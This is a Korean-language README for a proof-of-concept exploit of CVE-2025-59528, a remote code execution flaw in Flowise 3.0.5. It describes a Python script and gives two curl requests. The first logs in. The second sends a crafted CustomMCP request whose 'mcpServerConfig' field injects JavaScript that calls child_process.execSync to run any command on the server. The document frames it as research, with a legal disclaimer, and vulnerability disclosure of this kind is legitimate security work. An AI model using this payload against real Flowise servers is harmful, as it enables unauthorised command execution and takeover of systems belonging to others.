CVE-2025-59528 PoC

Flowise CustomMCP RCE 경로를 POST /api/v1/node-load-method/customMCP를 통해 트리거하는 Python PoC 스크립트입니다.

⚠️ 교육 및 공인된 보안 연구 목적으로만 사용하세요. 소유하지 않았거나 테스트를 위한 서면 허가가 없는 시스템에 이 도구를 실행하는 것은 불법입니다.

크레딧

• im-soohyun (Kim SooHyun)

세부 정보

• CVE-2025-59528에 대한 PoC
• 영향받는 버전: Flowise 3.0.5
• 패치 버전: Flowise 3.0.6
• 참조: https://github.com/advisories/GHSA-3gcm-f6qx-ff7p

파일

• poc.py: 머신 URL/IP, 호스트/IP만 입력했을 때 선택적 프로토콜, 이메일, 비밀번호, 명령어를 입력받습니다. 로그인 후 쿠키를 재사용하고, 조작된 CustomMCP 요청을 전송한 다음 curl -i와 유사하게 HTTP 상태, 헤더, 응답 본문을 출력합니다.

사용법

실행:

python3 poc.py

이어서 다음을 입력하세요:

• 머신 URL/IP (예: 10.10.11.10, http://10.10.11.10, https://target.example)
• 호스트/IP만 입력한 경우 프로토콜
• 이메일 주소
• 대상 Flowise 인스턴스 계정의 비밀번호
• 서버에서 실행할 명령어

동일한 curl

첫 번째 요청

curl -i -X POST https://<MACHINE_URL/IP>/api/v1/auth/login \
  -H "Content-Type: application/json" \
  -d '{"email":"<[email protected]>","password":"<password>"}'

두 번째 요청

curl -i -X POST https://<target>/api/v1/node-load-method/customMCP \
  -H "Content-Type: application/json" \
  -H "x-request-from: internal" \
  -H "Cookie: token=<token>; refreshToken=<refreshToken>; connect.sid=<connect.sid>" \
  -d '{
        "loadMethod":"listActions",
        "inputs":{
          "mcpServerConfig":"({x:(function(){const cp = process.mainModule.require(\"child_process\");cp.execSync(\"<command>\");return 1;})()})"
        }
      }'